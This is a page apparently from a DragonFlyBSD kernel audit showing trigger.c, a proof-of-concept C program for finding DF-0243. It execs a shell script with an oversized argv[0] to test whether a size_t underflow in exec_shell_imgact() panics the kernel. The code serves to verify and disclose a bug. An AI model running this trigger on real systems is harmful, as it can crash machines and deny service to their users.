DragonFlyBSD Kernel Audit
DF-0243 / trigger.c
← back to finding ↓ download raw
/*
 * DF-0243 trigger: exec a #! script with a long argv[0].
 *
 * Claim: in exec_shell_imgact(), when strlen(argv[0]) > (strlen(interp)+strlen(fname)),
 *        `offset -= length` underflows (size_t), corrupting begin_envv/endp/space
 *        and panicking the kernel.
 *
 * We exec a #!/bin/sh script whose fname is short ("/tmp/df0243_s") and pass an
 * argv[0] that is much longer than "/bin/sh" + "/tmp/df0243_s", exercising the
 * offset < length branch. If the finding is correct, this panics the kernel.
 * If modular pointer arithmetic saves us, execve either runs /bin/sh (and the
 * script prints "DF0243_SCRIPT_RAN") or returns an error -- but no panic.
 */
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>

#define SCRIPT_PATH "/tmp/df0243_s"

int main(int argc, char **argv)
{
    size_t alen = 256;          /* argv[0] length (default from finding) */
    if (argc > 1)
        alen = (size_t)strtoul(argv[1], NULL, 10);
    if (alen < 1)
        alen = 1;

    char *ao = malloc(alen);
    if (!ao) { perror("malloc"); return 2; }
    memset(ao, 'A', alen - 1);
    ao[alen - 1] = '\0';

    /* fork so the parent can observe whether the child ran or got killed */
    pid_t pid = fork();
    if (pid < 0) { perror("fork"); return 2; }
    if (pid == 0) {
        char *cargv[] = { ao, NULL };
        char *cenvp[] = { NULL };
        execve(SCRIPT_PATH, cargv, cenvp);
        _exit(127);             /* only reached on exec failure */
    }

    int status = 0;
    if (waitpid(pid, &status, 0) < 0) {
        perror("waitpid");
        return 2;
    }
    if (WIFSIGNALED(status)) {
        printf("DF0243_CHILD_KILLED signal=%d (%s)\n",
               WTERMSIG(status), strsignal(WTERMSIG(status)));
        return 3;
    }
    int code = WIFEXITED(status) ? WEXITSTATUS(status) : -1;
    printf("DF0243_CHILD_EXIT code=%d (0=script ran /bin/sh; 127=execve failed errno-path)\n", code);
    if (code == 0)
        printf("DF0243_NO_PANIC: script executed normally -- underflow did not crash\n");
    return 0;
}